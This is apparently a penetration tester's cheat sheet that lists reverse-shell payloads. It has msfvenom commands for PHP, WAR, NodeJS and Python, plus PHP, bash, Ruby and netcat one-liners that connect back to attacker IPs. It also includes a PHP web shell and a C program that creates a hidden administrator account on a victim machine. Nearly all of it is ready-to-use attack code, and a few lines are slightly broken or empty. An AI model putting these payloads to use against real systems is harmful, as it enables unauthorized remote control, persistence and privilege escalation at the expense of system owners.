PHP

Reverse shell

msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
<?php
system('nc.exe -e cmd.exe 10.10.10.5 4444')
?>
<?php system($_REQUEST["cmd"]); ?>

ASP/x

WAR

Reverse Shell

msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war

NodeJS

sfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)

Script Language payloads

Perl

Python

msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py

PHP

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
<?php
system('nc.exe -e cmd.exe 10.10.14.13 4444')
?>
<?php system($_REQUEST["cmd"]); ?>

BASH

bash -i >& /dev/tcp//9999 0>&1

RUBY

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

NETCAT

nc -e /bin/sh 10.0.0.5 1234
#OpenBSD netcat doesn't support -e flag. You can even try BASH 1-liner
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Adduser.c

On the Attacking machine compile it first: x86_64-w64-mingw32-gcc adduser.c -o adduser.exe, then transfer it to Victim

# ADDUSER.C

#include <stdlib.h>

int main ()
{
  int i;
  
  i = system ("net user test password123! /add");
  i = system ("net localgroup administrators test /add");
  
  return 0;
}
